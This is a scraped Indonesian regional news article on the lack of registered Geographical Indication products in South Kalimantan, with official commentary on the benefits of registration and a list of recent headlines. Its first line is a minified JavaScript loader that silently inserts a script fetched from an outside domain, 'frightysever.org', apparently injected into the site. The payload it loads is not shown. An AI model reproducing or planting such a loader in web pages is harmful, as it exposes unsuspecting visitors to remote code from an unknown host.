(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

Belum Ada Produk Khas Kalsel Terdaftar Indikasi Geografis


BANJARMASIN, Kepala Divisi Pelayanan Hukum dan Hak Asasi Manusia Kalimantan Selatan, Subianta Mandala memberikan paparan tentang Indikasi Geografis (IG) saat sosialisasi hasil penelitian dan pengembangan hukum dan HAM, Selasa (23/7), di aula Kanwil Kemenkumham Kalsel.

“Sejauh ini belum ada satu produk khas Kalimantan Selatan yang terdaftar sebagai IG,” akunya. Padahal menurutnya, Kalsel mempunyai keanekaragaman hayati yang luar biasa besar, meskipun kendala yang dihadapi di lapangan salah satunya belum adanya pengetahuan yang memadai mengenai manfaat IG.

Adapun manfaat IG yakni mencegah beralihnya kepemilikan hak pemanfaatan produk dari masyarakat kepada pihak lain. Memaksimalkan nilai tambah produk bagi masyarakat setempat, memberikan perlindungan dari pemalsuan produk, meningkatnya pemasaran produk khas, meningkatnya penyediaan lapangan kerja, menunjang pengembangan agrowisata.

Selain itu, IG juga menjamin keberlanjutan usaha, memperkuat ekonomi wilayah, mempercepat perkembangan wilayah, meningkatkan kesejahteraan masyarakat, memberi jaminan kualitas kualitas produk, memberi jaminan hukum bagi konsumen apabila produk tidak sesuai dengan standar yang diharapkan.

Kegiatan diikuti 30 peserta dari Satuan Kerja Perangkat Daerah di wilayah Kalimantan Selatan bertujuan melindungi potensi alam dalam bingkai produk IG sebagai ciri khas produk daerah.

IG adalah suatu tanda yang menunjukkan daerah asal suatu barang dan/atau produk yang karena faktor lingkungan geografis termasuk faktor alam, faktor manusia, atau kombinasi dari kedua faktor tersebut memberikan reputasi, kualitas, dan karakteristik tertentu pada barang untuk produk yang dihasilkan.

“IG dimiliki oleh masyarakat penghasil produk khas wilayah, kepemilikan IG tidak dapat diperjualbelikan, dan IG berlaku selama kekhasan produk masih terjaga serta perlindungan IG diakui secara internasional dan tercantum dalam Trip’s Agreement dan WTO,” jelas Subianta Mandala.

“Karena itu perlu ada kerjasama yang erat Kanwil Kemenkumham dengan dinas-dinas terkait seperti, Dinas Pertanian, Perikanan, dan Kehutanan, Tanaman Pangan dan Holtikultura, Dinas Perindustrian dan Perdagangan, Koperasi dan Usaha Kecil Menengah,” tandas Kepala Divisi Pelayanan Hukum dan HAM. (rico)

Reporter : Rico
Editor : Bie

Desy Arfianty

Recent Posts

Dapat Lima Paket Sabu dari Kenalan, Lelaki di Banjarmasin Diringkus Polisi

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Timur menangkap seorang lelaki inisial AH (48) karena… Read More

17 menit ago

Ada Pungli di Kawasan Candi Agung Amuntai, Polisi Turun ke Lokasi

KANALKALIMANTAN.COM, AMUNTAI - Obyek wisata situs Candi Agung Amuntai kerap dikunjungi wisatawan dari dalam maupun… Read More

32 menit ago

Empat Nama Masuk Penjaringan Partai Nasdem Kalsel, Melirik Pilkada Banjarmasin, Tabalong, dan HSS

KANALKALIMANTAN.COM, BANJARBARU - Empat nama masuk dalam penjaringan bakal calon kepala daerah di Kalimantan Selatan… Read More

1 jam ago

Lolos Verifikasi Jalur Calon Perseorangan Lalu Mundur Diri, Siap-siap Kena Sanksi

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar sosialisasi persiapan pencalonan bakal pasangan… Read More

14 jam ago

Hadapi Satu Wasaka Award, Bappedalitbang Banjar Kumpulkan SKPD Terkait

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Rapat… Read More

14 jam ago

Bupati Banjar Serahkan Bonus untuk Kafilah Kabupaten Banjar, Segini Rinciannya

KANALKALIMANTAN.COM, MARTAPURA -  Pemerintah Kabupaten Banjar melakukan syukuran atas prestasi yang diraih kafilah Kabupaten Banjar,… Read More

14 jam ago

This website uses cookies.